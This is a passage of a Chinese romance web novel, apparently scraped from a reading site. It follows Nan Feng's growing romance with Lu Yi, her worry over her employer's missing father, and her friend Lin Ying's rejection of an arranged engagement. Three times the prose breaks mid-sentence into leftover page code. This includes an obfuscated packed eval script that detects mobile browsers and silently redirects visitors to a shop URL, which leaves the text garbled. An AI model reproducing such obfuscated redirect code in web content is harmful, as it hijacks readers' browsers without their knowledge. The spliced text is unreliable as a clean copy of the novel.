“我爸出事了。”过了许久顾嘉诚才开口,“他把飞洛那边的生意托付给了合伙人,可那人似乎是想趁机将产业转手卖掉,把钱全部收进自己的口袋。还好我爸留了一个得力的助手守在那边,据说连文书都弄好了,就等签约了。老头子知道后气得不行,立马就动身去了飞洛。” 南枫:“可现在两国之间不是不允许通行吗?” “问题就在这里。”顾嘉诚攥紧茶杯,滚烫的茶水洒了一些出来,他却不觉得烫:“他这么多年在两地做生意也认识了一些人,说是都打点好了,可以偷偷通关。” 南枫:“那现在是出了什么问题呢?” “人联系不上了。”顾嘉诚的声音开始颤抖,手掌用力到关节都泛白,“他怕人多眼杂就自己一个人去了,飞洛离半山不远,坐火车不过五六个小时,说好一落地就报平安的,可这已经过去好几天了,我们问了那边,说根本没有在车站接到他人。”说完,他将茶水一饮而下,试图将怒火与担忧一同压制下去。 南枫意识到了事情的严重性,想来应该是飞洛那边的关系没有打点好或者被发现了,人被海关扣留了,这样一来就会落得非法偷渡的罪名,再不然就是发生了更糟糕的事。南枫很想安慰他,可她明白现在说这些没有用。 时间不早了,南枫约了林影在她家里见面。她起身告辞,走到门口的时候又想到了什么,转过身看着无精打采的顾嘉诚,询问是否需要暂停小峰和小暖的课程。 不想顾嘉诚完全会错意,他嗤笑了一声,面露寒光地盯着她:“干嘛?你觉得顾家这下完蛋了,我们要付不起家教费了,所以想赶紧找下家吗?”顾嘉诚习惯性出口伤人,尤其是在他心情不好的时候,只是没想到这一次他居然会对南枫说出这样伤人的话。 这句话确实惹怒了南枫,“你就这么想我吗?”她叹了一口气,一脸失望地看着眼前的人。顾嘉诚再没脑子也知道是自己这张嘴又惹祸了,他焦急地从地上爬起来,冲到南枫跟前认错,说自己不是这个意思。 南枫:“我只是觉得最近你们家里出事了,我一个外人进进出出的不太方便。还有,顾嘉诚,我们认识这么久了,我了解你,我知道你不是这个意思,但是这不代表你可以一直这样口无遮拦,你总要学会在开口之前把话放脑子里过一遍再说出来。” 懊悔的痛苦像一条剧毒的蛇紧紧地缠绕着他,在他的每一寸皮肤上留下溃烂的伤口。 顾嘉诚对自己的愚蠢行为后悔不已,“不会,出再大的事情小峰和小暖的课业也不用停。对不起,我不会再乱说话了,南枫,原谅我好吗?还有,”他顿了顿,眸底溢满愧疚与深情,试图冲破她的抵御防线,“你不是外人。” 与顾家焦灼的情况刚好相反,林宅里倒是一片祥和欢快的气氛,林影等候多时,一见到南枫便露出了八卦和审视的目光。她将好友堵在房间中央,围着她不断转圈圈,乐呵呵地笑,也不知道在开心什么。 南枫在被绕晕之前将人拦下,抬手点了点林影的额头:“你干嘛?吃错药啦?” “从实招来吧!”林影学着电影里反派的样子勾起嘴角,和她平时可爱的模样有很大的反差感。 “招什么?”南枫满头的问号。 林影狡黠一笑,随即露出一副“被我抓到了吧”的表情,并用胳膊肘挤了挤她,冲她挤眉弄眼,“还瞒着我呢?我都知道了。”见南枫还是一头雾水,她干脆凑到她耳边,故意放缓语调念出两个字,“陆、易。” “哦,原来是在说这个。”满足了好奇心的南枫悠悠哉哉地走到沙发椅上坐下,“我没想瞒着你,正打算这个周末介绍你们认识来的。”她之前就猜到林影肯定是知道了,不然邀请函为什么会送两份过来? 见她爽快地承认,林影又变回了撒娇包,提起裙摆小跑着过来在南枫身边坐下:“你好过分!要不是顾嘉诚告诉我,我......”说到这里她顿住了,随后立马变了脸色,表情带着委屈与震惊,“我居然比顾嘉诚都晚知道,我还是你最好的朋友嘛!” 林影对好朋友的定义非常严格,其中一条就是必须把所有的事情都告诉对方,因为她不想通过别人的嘴了解到有关南枫的事情。当初南枫没有第一时间介绍顾嘉诚与她认识,她为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此抱怨了好长一段时间。其实南枫当时也没想过会和顾嘉诚成为多亲密的朋友,碍于他也算是雇主的身份,她一直恪守距离,直到林影的加入他们三个才形成了比较稳定的朋友关系。 “你当然是我最好的朋友。”南枫笑着轻轻掐了掐她的脸:“顾嘉诚告诉你的?” 林影点点头道:“上次遇见他一个人在喝闷酒,我过去关心了几句,他就把事情经过都告诉我了,但他只说了个大概,你知道的,他这个人耐心差得要命,没说几句就嚷嚷着让我赶紧走开,哼!” 南枫“嗯”了一声陷入沉思,犹豫该不该把顾家发生的事情告诉她,最后还是没说,这不比其他事,说之前应该先得到顾嘉诚同意才对:“你今天叫我过来干嘛?是不是为了说七月舞会的事?” 林影正摩拳擦掌,准备好好向当事人打听一番那场花海里的示爱,不料就这样被转移了注意力。提到舞会,她顺势往后躺下,脸上绽放出灿烂的笑容,悬空的双脚雀跃地上下扑腾了几下,后跳起来跑开,回来的时候手里多了一本精致的绘本。她将绘本交给南枫,自己则双手交叉放在肩膀上陷入了幻想,幻想着与她的王子在舞会上翩翩起舞。 绘本将舞蹈动作做了非常细致的拆分,里面画满了小人,女士身着粉色纱裙,男士则穿着黑色西服,每一个动作都尽显优雅和浪漫的气息,怪不得会让林影这般期待,不过嘛,南枫用指腹摸了摸上面可爱的小人——也许期待的不只有林影。 * 天色渐暗,南枫拖着疲惫的身体回到家,屋子内暖色的光晕落在清冷疏离的眉间,从里面传来南淇坤与陆易的对话,听不太清楚,却让她倍感轻松,于是不自觉地弯了唇角。 “杨梅?”发现桌子上那一筐装得满满当当的新鲜水果后,南枫露出了惊喜的表情。 “你看看,是不是?”南淇坤却批评起了陆易,“最近杨梅才刚刚上市,多贵啊!而且杨梅不易保存,他居然一下子买了这么多!这个败家的小子。” 陆易贴心地帮南枫拉开椅子,听到南淇坤的话后摸了摸后脑勺,好脾气地笑了笑,“南枫开心就好了。”南淇坤端着煨好的排骨汤回到餐厅,听到这话并没有消气,“哦,她开心就好。”他将砂锅放在桌子正中央,随后用手指指了指自己,“你要知道你现在在讨谁的欢心!” 听到这,恍然大悟的陆易立马换上了乖顺的表情,眼睛亮亮的,像是下一秒就会有精灵从透亮的眸底飘出:“那爸爸喜欢吃什么?我明天就去买!” 脑袋里传来“轰”的一声,南淇坤的背影一僵,随后慢悠悠地转过身来,从口袋里掏出灰色的手帕擦拭额头上的汗水。他一脸的震惊与不可思议,无法确定是自己听错了还是陆易真如此胆大包天,他还没点头同意呢,这就叫上“爸爸”了? 16. 标记 严宅肃穆庄严,没有富丽堂皇的装饰却处处透着低调的奢华。随着雕花的铁门缓缓打开,一条平整的水泥路直通宅邸,院子内种满了高大的栾树,树冠遮天蔽日。 严峻笙知道林影今天会来找他,却不知道是为了什么。虽然两人在一起还没几天,可在他心里这桩婚事早就定下了,所以他只当林小姐是提前来熟悉一下严宅的情况的,以便之后住进来能快一点适应。当下人进来通报时,严峻笙正在忙工作,严家的事业越做越大,他几乎没有什么休息的时间。 林影被带去了小厅,管家按照吩咐给她端来了茶水以及一份点心,留下一句“请稍等片刻”便退下了。不想这一等就是半个小时,下午茶都已经用完了,书房的门却依旧关得紧紧的。起初只是感到有些无聊,等分针又走完半圈后,林小姐的脸色肉眼可见地变得越来越难看。 她气得想走,一想到舞会的事又悻悻地坐了回去,不耐烦地皱着眉,小脸气得鼓鼓的,开始揪盆栽上的叶子泄愤。管家忙完手头上一部分工作后抽空过来看了下,发现自家二少爷竟把林家大小姐晾在一边足足一个钟头,着急地直跺脚,可要是让他进去催,他也是不敢的。 又等了十分钟,林影的耐心终于耗尽,冷着一张脸站起身要走,书房的门却在这个时候打开了。再一次赶来查看情况的管家终于松了一口气,快速交代完事情后就识趣地退下了。 林影仍旧沉着脸,看似十分平静地看着他,但怒气值显然已经飙升到最高点。严峻笙并非故意让她等,只是每次忙起工作就会忘了其他的事,他摘下眼镜,用指尖捏了捏两侧酸胀的鼻骨,留下两圈红红的印记:“对不起,我的错,工作太多忙忘记了。” 林小姐依旧没说话,撇开目光看向别处。她当然知道他不是故意的,可他让自己等了一个多小时是不争的事实,没办法不生气。严峻笙盯着她看了一会儿,眼中一贯的淡漠疏离,最后几不可闻地叹了声气道:“来找我有什么事吗?是要约会吗?我已经忙完了,你有什么想做的或者想去的地方我可以陪你一起。” 林影是来找他练习舞蹈的,严峻笙到时候会是她的舞伴,两个人当然要一起练了。“跳舞?”严峻笙兴致缺缺地抿了抿唇,眼球往上翻了翻,等林影转过来看他时却已经换上了平日里的优雅与体贴,“我不知道你对那场舞会这么上心,既然你想练,那就练吧。” 说完,他关上书房的门,牵起她的手往外走去。严宅是没有专门的舞蹈室的,不过空房间有很多,不过十分钟下人们便整理了一间出来。这期间两人就在隔壁的茶室坐着,严峻笙并没有哄她,但态度还算不错,林影吃了点甜甜的糖果后气也消了不少,但心里始终有一种失落和孤独的感觉。 “那就开始吧。”严峻笙脱掉西装外套,和领带一起扔到一边,撩起衣袖,顺便将衬衣的纽扣松开了几颗。林影提着裙摆站起身,忍受着心中那股异样感,慢吞吞地往他那边挪。严峻笙都准备好了,她还没走到他身边,而他凡事都讲究效率,于是伸长了手臂将人一把拉过来。 林影来不及刹车,额头撞上了男人的胸口,虽不至于痛但多少也不太舒服,她不高兴地舔了舔下唇,从心底涌上一股酸涩的情绪,怎么压都压不住。她小幅度地挣扎了几下,没挣脱开,反而被搂得更紧了。 “怎么了?”严峻笙的声音从头顶传来,似乎带了些不耐烦,可等林影抬起头去看的时候却发现他是笑着说的,“一下子不知道去哪里找老师,想必林小姐已经练过一段时间了,今天就麻烦你来教我吧。练完一个小时就休息一下,我让阿翟去买了你最喜欢的那款冰淇淋蛋糕,到时候可以吃一点,吃完后再练一个小时,然后我开车送你回去,好吗?” 林影还有些不开心,却不得不承认这个男人确实安排得很周到。见她点头,严峻笙满意地舒了口气,扶着她的腰往自己这边再靠了靠,除了手,两人的身体有部分贴在了一起,那么近,甚至能闻到彼此身上的味道。林影有些紧张地咽了咽喉咙,目光闪躲,好在两人的身高有一定的差距,避免了对视就不会被他看到自己此刻的失态。 * 傍晚,蝉的“唧唧”声已经不像白天那样响亮,南枫将躺椅搬到室外,风吹响树叶,柔和而神秘,她在这美妙的曲调中翻阅书籍,本以为是自己不会感兴趣的题材,没想到居然越看越觉得有意思。陆易提着一个大西瓜出现的时候,她正好看完第三十三页,见他来了,便在书页的右下方折了一个小三角做记号。 太阳缓缓西沉,她的双颊被染上琥珀色的晚霞,姿态慵懒的女人此刻像极了一只小猫,优雅且傲娇地朝他高高举起右手。陆易眼眸一弯,唇角的笑容比身后的落日更夺目。他笑着将她拉起,顺势搂腰抱住,“看什么呢?” 小猫往他怀里贴了贴,听见他这样问,垂眼瞄了一眼被丢在躺椅上那本叫做《夕》的书。这是今天神婆送她的,里面的故事稀奇古怪,从海里的妖怪到雪山洞里不朽的干尸,从死人复活到轮回转世…… 陆易弯了弯嘴角,下巴在她头顶蹭了蹭,“原来南枫相信这些吗?” “不信,但就是不信才看着有意思啊!”顾伯父的事情到现在都没有下落,她只能跟着干着急,为了转移注意力才翻开了这本书。 山上的风依旧清凉,晚风钻进恋人身体之间的空隙,时不时发出“呜呜”的声响,他的声音从头顶传来,像是隔着一块柔软的毛巾,有些听不清。她贴紧了一些,企图将闯入者赶跑,陆易眉心微动,以为是南枫在撒娇,眸底浮动起明澈的柔光。他放下一直提着的袋子,将她紧紧收入怀中。陆易温暖有力的怀抱好像预示着天长地久,南枫似乎是感受到了他的心跳,忽然之间觉得眼眶有些热热的。 “你又买什么了?” “西瓜。” “哦,交学费来了。” 陆易被逗笑,“强迫我学那么别扭的舞蹈,还要我交学费,不是应该你给我点好处吗?” “想要好处?想要什么好处?” “好处。”陆易轻轻将她拉开,南枫稍抬眼睑便赤恍恍地撞进一片浅色的烟雨中,陆易盯着她的唇,目不转睛,“想要很多,很多好处。”他用指腹轻轻按压她的唇瓣,直到指尖沾上了些湿意,体内不断膨胀的欲望在顷刻间到达顶峰。 南枫像是被蛊惑了一般,感受着他的体温,泛起一阵阵难以言喻的战栗。 “陆易,进来学做鱼了!” 南淇坤实在看不下去这腻歪的场景,决定出手制止。肉麻这种事,当事人也许不自知,可这不表示旁人受得了。陆易不甘心地眨了眨眼,万般无奈地提起西瓜乖乖进了厨房。 油菜花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13983156|148235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经悄悄发了芽,长出了小苗,但是郁金香却快谢了。郁金香的花期本就短,好在山上温度稍低一些才支撑了这么长时间,可随着盛夏慢慢临近,花儿明显有些吃不消了。如此美好,奈何如此短暂,南枫感到十分惋惜。 “对,就是这样,做得不错。” 屋里传来两个她最爱的男人的声音。南枫回过头往屋里看,发现陆易正在学如何在鱼背上划线,爸爸则捧着一牙西瓜吃得津津有味。天气一热南淇坤就没什么胃口,却总会觉得口渴,他无心一说,陆易却记在了心里。南枫轻抚着花朵,心里感到十分满足,即使全部谢光了也没事,美好的记忆将永远留在心里。 今天是他们练习舞蹈的第三天,南枫一有空就往林影家跑,跟着专业的舞蹈老师学习动作,等她记熟了回来再教给陆易。晚餐后便是两人排练的时间,他们总是会练习到很晚才告别,南枫担心山路太黑不安全,总劝他早些回去,陆易倒是很开心,毕竟可以多一点时间腻在一起,还可以当着南枫父亲的面光明正大地搂搂抱抱,所以即便身体僵硬,艺术细胞不高,他还是学得格外认真。 今天晚餐后两人照常牵着手散步消食,过了很久南枫还是没有提起练舞的事,陆易以为她是太累了,关心了几句,但南枫似乎心里想着别的事,总是一副忧心忡忡,心不在焉的模样。“南枫,你怎么了?”陆易握紧她的手,满脸的担忧,“最近好像吃得也很少,是哪里不舒服吗?” 南枫摇了摇头,可她的不安全写在眼里,怎么可能什么都没有呢?他转过身与她对视,将她拉近了些,“可以把你正在担心的事情告诉我吗?我不想看你一个人烦恼,也许我能帮得上忙也说不定。” 纠结一番后她将顾家现在的情况告诉了他,陆易也给出了自己的看法,“偷渡罪根据情况,拘役、管制或是判一年有期徒刑都是有可能的。如果涉及贿赂国家行政人员,还要看贿赂金额大小决定。这样,我去想想办法,明天给你答复好吗?” 南枫惊讶地看着他,眼里燃起了一丝希望:“你有办法?是什么?” 陆易没有把握一定能行,所以并没有将计划告诉她,以免徒增失望,只说自己会帮她一起想办法。南枫点了点头,思考着明天又改如何安慰顾伯母,便自顾自地往前走远了,忽略了身旁的人。走了一段路后才发现陆易没跟上,她不明所以地转过身,对上了一张闹情绪的脸。 陆易委屈地追上她,拉起她的手包进掌心:“我不想显得这么小气,也不是怀疑你,但是看你这么担心他,我有些不开心。” 南枫愣了一下,后笑着环住他精瘦的腰,“顾伯父和顾伯母是我的雇主,而且我和他们认识这么久了,担心也是应该的吧?我又不是什么冷血动物。” “我知道,但我还是有一点点不开心。”说这句的时候,他的语气里带了些小孩子的无理取闹。南枫生平第一次觉得可以用“可爱”来形容一个成熟的男人,她踮起脚在他唇上浅浅印下一个吻,随后问道:“这样会觉得开心一点吗?” 陆易不满足地摇摇头,将人紧紧锁在怀中,待他的气息落下,异样的酥麻感在体内蔓延而开。南枫青涩地回应,怕被爸爸看见,明明想要克制却又渴望万分,干脆什么都不管了。他的吻带着力道,强势且热烈,企图将属于她的每一寸都标记上自己的符号。 17. 不再逃避 街道两旁店肆林立,以往行人络绎不绝的地段如今冷清了许多。阳光透过稀疏的云层照进室内,仿若温暖的手掌轻抚着她。林影挖了一口蛋糕迫不及待地塞进嘴里,吃甜食总是能让她心情愉悦,而最近的烦心事让她觉得必须要吃双倍的糖霜才能修补。 自从南枫和陆易在一起后,林影总担心自己会打扰到他们的二人世界,于是把所有的伤心都憋在了心里。本想靠自己慢慢消化不再麻烦南枫,不过现在看来是她多虑了,只需要一通电话,真正的好朋友还是会像从前那样赶来陪在她身边。 南枫将餐巾纸递给她,示意她擦一下沾到脸上的奶油:“你不是说最近心情不好,食欲不振?”林影迅速解决了一份,摸摸肚子,感觉还塞得下,南枫便立刻帮她加点了一份,“别急,早上刚领了薪水,你想吃多少都可以。”怕林影会腻,又另外点了一壶茉莉花茶。 “顾嘉诚怎么样啦?最近都没见到他人。顾伯父的事情有消息了吗?” 难得她吃甜食的中途还能想起别的事,南枫放下叉子,端起花茶喝了一口:“听顾伯母说他最近总是早出晚归的。很多客户知道了顾伯父的事情后前后脚地来打探消息,也都是他在应付。” 林影歪了歪脑袋,“那蛮好的啊!这样他至少可以找点事情做做,不然每天游手好闲的。”听到这,南枫笑着看向她,“还说别人游手好闲呢!过得最清闲的难道不是林大小姐吗?”林影正用餐巾纸擦嘴,听到好友这样说,圆溜溜的黑眼睛转了转,后若有所思地点了点头道,“可我很享受我的游手好闲啊!顾嘉诚不一样,他又想有一番作为,可又不知道自己想做什么,所以他比较痛苦。”南枫点点头,表示赞同。 “你呢?”林影吃不够,开始对南枫没吃完的蛋糕下手,“每天都和你的陆先生如胶似漆的吧?你们练得怎么样了?其实你可以不用这么辛苦,带他一起来上课不就好了。” 南枫将自己的那份推到她面前,“那怎么好意思?我本来就是蹭课的,哪还能再带一个人?”即便关系要好,她也非常懂得做事的分寸,就是因为她这样的个性,林影反而总是想给她更多。 三份甜品下肚,林小姐顺势往后一靠,满足地长舒一口气道:“你也太客气了吧?其实我也有私心,我想快点见到陆易,看看到底是谁抢走了我的南枫!”对面的人闻言挑了挑眉,“你的南枫?”她故意用夸张的语气说道,“我可不记得我有跟你私定终身过。” 这话貌似戳中了林影的笑点,她被逗得哈哈大笑,只不过笑完后又陷入了沉默。她十分羡慕南枫,羡慕她可以自由地选择结不结婚,也羡慕她可以根据自己的意愿选择和谁结婚。不像她,经这样一对比,林影的心情直转而下,她垂下脑袋,十指不由自主地越攥越紧。虽贵为林家的掌上明珠,享受了数不尽的荣华富贵,这也许是许多女孩梦寐以求的生活,可若是让你拿自由和幸福来换呢? “现在说嫁也太早了吧?”南枫理了理两侧的碎发,“我跟他才认识半个月而已。” “就是因为才半个月!”林影突然提高了嗓音,南枫被吓了一跳,手一抖,将杯子里的茶水洒了出来,她连忙拿餐巾纸擦拭,一旁的服务生见状赶了过来,叫停了客人的动作,后迅速从围裙里掏出干净的餐布仔细清理桌面。 待服务生走后,南枫站起身来到林影这边的沙发上坐下,关切地看着她问道:“你怎么了?发生什么事了?”南枫不问还好,一问她的眼泪便再也控制不住了,泪水从她的眼窝中涌出,像断了线的珍珠。 “你这么谨慎的人,按理来说应该会有很长的考察期吧?可你们转眼就在一起了。换做其他女生,我还会担心她会不会被骗,但是你不一样,南枫,你很小心也很聪明,所以那个人一定很好。”光凭陆易的身世,别说是她的父母,就是寻常人家的长辈也不会轻易同意的,所以她不仅羡慕他们能够遇到彼此,也羡慕南枫拥有一个明事理的父亲。 她虽由衷地为朋友感到开心,却免不了联想到自己的婚姻,羡慕与委屈瞬间冲上心头,她像坠崖的羚羊,幸运地被树干勾住了羊角,却等不来托举她的双手,只能这样听着自己的心跳声逐渐衰弱直至消失。 南枫和林影的家庭情况不同,从小接受的教育自然也有很大的差别。南淇坤希望女儿可以成长为自由、独立、快乐的人,但林家要求林影听话、懂事、按部就班,而这么多年来,她也一直是这样做的。虽然与南枫变得亲近后,受她的影响,林影时常产生彻底摆脱束缚的冲动,但她还不具备那样的勇气,耍小性子是常有的,可叫她真的反抗父亲却是万万不敢的。 听她说了那么多次家里的事,南枫多少明白她的压力,别人只看到林家独生女光鲜亮丽的生活,却并不知道她的生活并非外人看起来那般无忧无虑。南枫虽然不认同这样的教育观念,可也不好说她父母的不是。她能做的,就是在朋友需要的时候给予她鼓励与安慰。 南枫心疼地握住她的手,“在遇见陆易之前我以为自己这辈子都不会有机会知道什么是心动,可他就这样突然出现了,我甚至还拒绝过他。你要相信,命运不会允许对的两个人互相错过,因为那样就太可惜了。谁也不知道什么时候才是正确的时间,如果感觉不对就应该立刻停止,不要把自己逼得太紧了。” 林影在相亲的时候见了各色各样的男人,可无一例外她都不喜欢,不是目中无人的公子哥就是被家里保护太好的愣头青。听她这样抱怨,南枫多少了解她的无奈,毕竟参加过好几次舞会,也见识到了那些男人的作风。她总是觉得非常奇怪,明明出生在这样的家庭是一份幸运,有钱、有资源、有人脉,按理来说这样的家庭更有资本好好培养孩子,相处后却发现值得深交的没几个。 他们总是将妻子当成一件挂件,贪图其娘家的实力却又不是真的尊敬爱护她。一场婚姻,除了女性,所有人都得到了自己想要的。若那女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984787|148235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在乎情爱,只图一世安稳衣食无忧也就罢了,可林影想要的不止于此,她渴望能寻得真心人,携手共度余生。既然她都清楚地知道自己想要什么,南枫就会坚定地站在她这一边,绝不会看着她被推入火坑。 想起严峻笙,明明是每个女孩都会为之心动的一张脸,可怎么就感觉那么不对呢? “激情吗?”南枫脱口而出。也许之前的她也给不了答案,可是遇见陆易之后她就明白了,是那种恨不得每一秒都在一起的热切,是一见到他就忍不住奔向他的冲动。这世间优秀的男子也许有不少,可能带给她这样感觉的只有陆易,她想这也许就是爸爸说的爱情。 林影擦眼泪的动作一滞,脑袋木了一下,随即转过头恍然大悟般地看着南枫。 南枫:“就是说,你们相处得也蛮愉快的。但是分开之后呢,你不会有强烈的想要再见他的冲动。”林影点头如捣蒜,眼泪又止不住地流:“我想了很多次,如果硬要我跟他结婚的话也是可以的,起码我不讨厌他,我们相处的时候也说不上是不是愉快,也许用‘相敬如宾’来形容比较合适。我不排斥他,他也实在是非常优秀的一个人,可是让我就这样和他过一辈子,我又觉得......” “会觉得不甘心是吗?”南枫好像有些明白了,“所以你这一次之所以特别难过,是因为你遇到了一个既可以又不可以的人。如果这个严峻笙是像你之前遇到的那些人一样,你最多就是和父母吵几句嘴,然后再接着相亲。可是这一次不一样,你遇到了一个所有方面都过关的人,可惜你们之间没有碰撞,你在为自己可能会妥协而感到无助与害怕。” 严峻笙确实是到目前为止最令她满意的一个对象,好几次她都差一点就这样同意了,只是每当入了夜,一想到余生都要这样度过心里就发慌。不仅如此,林影的父母对严峻笙特别满意,即便她不愿意也于事无补,她根本没有办法拒绝! “你有的!你只是不敢罢了。”南枫继续鼓励她,“你只是怕父母会失望,但你若勉强自己接受他们的安排,何尝不是辜负了自己呢?这不是孝不孝顺的问题,你若当下觉得不妥就应该停下脚步。”南枫的鼓励每次都奏效,林影擦干净鼻涕眼泪,忽然就觉得没那么绝望了,“那我该怎么做呢?” 南枫:“你若不讨厌他,可以先当朋友嘛。当然,你也要和人家讲清楚才行,随着你们的相处也许会有新的变化也说不定。虽然每个人都向往一见钟情,可也不见得一见钟情的就一定会是那个正确的人。我只是给你一个建议,你需要冷静下来好好想清楚,人生的很多决定都应该慎重考虑才是。” 南枫说得对,她不能再当鸵鸟,不能一而再,再而三地隐藏自己的声音,忍受压迫,她需要和从前的自己道别。林影突然意识到,从小时候到现在,即使自己不情愿到最后还是认命地接受了父母的所有安排。说是为她好,可又有谁真的问过她到底愿不愿意?强迫她,就是为她好吗? 18. 拒绝 严峻笙捧着鲜花开门进来之前,没有想到女孩脸上的表情会这样严肃。他有不好的预感,凭他在商多年的经验,今天这一笔“生意”恐怕不容易谈成。镜片后的一双桃花眼在女孩脸上停留了片刻,她的鼻尖红红的,像是刚哭过,圆圆的眼睛里多了一份他较为陌生的坚定感。 一想到待会儿可能要应付女人的哭哭啼啼他就觉得心烦,但毕竟在商场厮杀多年,总不至于连最基本的对策都没有。思索半秒后,他向身后招招手,很快,一位年轻的服务生小跑着来到他身侧,低声询问道:“严少,请问有什么吩咐?” “把你们这里卖得最好的那款冰淇淋蛋糕准备好送上来。” 男人的声音与他的外表十分贴合——低调又不失华丽,服务生应了声便退下了,严峻笙重拾笑容,从容地向女孩走去。“林影,你已经到了?”他将手里的鲜花送给她,“不好意思,接到你的电话后我马上就赶过来了,希望没有让你等太久。” 林影是临时通知他见一面的,没想到他在如此仓促的时间里还准备了花。“不会。”她双手接过鲜花,又挤出一个礼貌的笑容,“毕竟是我临时通知你的,等你一会儿也是应该的。” 严峻笙与不少女人相亲过,她们往往很主动,即使是故作矜持的类型,对他的喜欢与讨好还是会不经意地从眼神里跑出来。而这位林小姐,从他们第一次相处就表现得彬彬有礼,或者说,不太热情,今日更是拒他于千里之外的模样。难道不是来找他哭诉的?严峻笙向服务生使了一个眼神,催促他们加快动作。 香甜可口的蛋糕和红茶一起上了桌,这样的搭配再合适不过了。严峻笙用湿巾仔细地擦了擦手,贴心地将小勺子递到她手上,“林影,你不是最喜欢吃这款蛋糕吗?快点吃吧,免得化了。” 刚和南枫在一起的时候就吃了好几块,她现在饱着不说,想想接下来要说的话更是食欲全无。即便如此,她还是礼貌性地接过勺子,待他收回手后再放下,没有要品尝的意思,“不好意思,今天有些吃不下。” 严峻笙不漏痕迹地皱了皱眉,对她的拒绝感到不满,但一秒后又换上了杀伤力十足的笑颜,体贴地询问是不是因为天气太热的缘故,“没有胃口也正常,等你想吃了我们再重新点一份,先喝点茶吧。”他板着脸将茶壶里的茶水倒进杯子,端到她前面时又已经换上了平日里的礼貌笑容。 又是这样,严峻笙就像对待客人一般,周到却不走心,他只是在应付她。谁不知道严家二少爷是个工作狂,一个电话就能把他从办公室里叫出来?是因为凑巧?还是因为她是林家的女儿?不管是哪个理由,反正不是因为喜欢她这个人本身。 林影脸色凝重,说了声“谢谢”却没有要喝的意思,她看似漫不经心地掏出小镜子整理妆容,实则眼睛就没离开过他的脸。她将一切尽收眼底,盯着眼前的英俊男人若有所思。回顾着他们之间相处的点滴,思绪逐渐变得清晰。 他好像总是一副为他人考虑的样子,可每一次感到不愉快或是不耐烦又都会直接表现出来,不是不小心,而是有意为之。他要让你知道他对你的表现不满,又一晃而过让你找不出证据,却在心里对他产生忌惮。林影向来爱憎分明,有什么说什么,眼前的严峻笙显然与她不是一路人。 “严先生,我今天约你过来是有一些话想说的。” “你说,我听着呢。”他放下茶杯,眼神温柔地看向她,惹得隔壁桌一位年轻的小姑娘羡慕不已,可只有林影清楚,他这是在演戏。 “我想,我没有办法和你订婚。” 隔壁桌传来了陶瓷杯碎裂的声音,林影没有转头去看,想必是那人不敢相信如严峻笙这般的男人都会被拒绝吧?相较之下,被拒绝的严家二少爷就显得淡定许多,男人慢慢弯了嘴角,林影说不上来这笑容蕴含着什么,总之就是令她觉得生气。 “是吗?我很惊讶,我以为我们相处得还算不错。” 惊讶?惊讶的应该是林影吧!因为严峻笙嘴上虽这样说,可是他的表情从始至终都非常平静,回话的时候也没有一丝的卡顿,这哪里是惊讶的样子?分明就是早就知道她想说什么,或者说不在意她会说什么。 “是吗?为什么惊讶呢?”林影十分不理解面前这个心口不一的男人,“我们之间根本没有感情,你难道感觉不到吗?”她想撕下他的面具,看看这个人到底在想些什么。 “我不是惊讶你对我没有感情。”严峻笙抬手扶了扶镜框,依旧微笑着。那一副银丝镶边眼镜是林妈妈对他特别满意的理由之一,说是显得他文质彬彬,与好些粗俗的生意人不一样,“我是惊讶你竟然有勇气说出来。” 这是什么意思?他惊讶的是她居然有勇气说出来?这是在看贬她吗?林影脸色一变,不可置信地看着眼前的男人,生气却又不知道该说些什么,只觉得受到了前所未有的羞辱。想起先前还对南枫说不讨厌他,看来话还是说早了,她现在就恨不得将面前的茶杯砸到那副眼镜上,斯文吗?明明就是败类。 “林小姐,不过就是家族联姻,太看重感情的话未免有些孩子气了。我自认为会是你众多选择里最好的那一个,你可以再好好考虑一下,今天的话我就当没有听过。” 他的礼貌都是假面具,傲慢才是他的真面目。不过就是家族联姻?男人婚后在外鬼混的不占少数,对他们来说娶哪一家的小姐当然无所谓,可她不愿意当睁一只眼闭一只眼的某太太! “不用考虑!”林影也收起了礼貌,直截了当,“我绝对不会和你结婚的。”她气得发抖,声音难免大了一些,吸引了不少目光。还以为严峻笙会因为丢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997237|148235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面子而露出凶狠的真面目,没想到他只是盯着她,然后再一次慢慢地勾起嘴角,“林小姐,既然你这么说了我也不好勉强,林伯父那边就麻烦林小姐自己去说明缘由了。” 他唤来服务生结账,又假笑着询问是否需要他送她回家,林影自然是拒绝,丝毫不掩饰对他的讨厌。“哦!我差点忘记林小姐是有司机的人。”他竟然也不恼,“那我先走了,再见。” 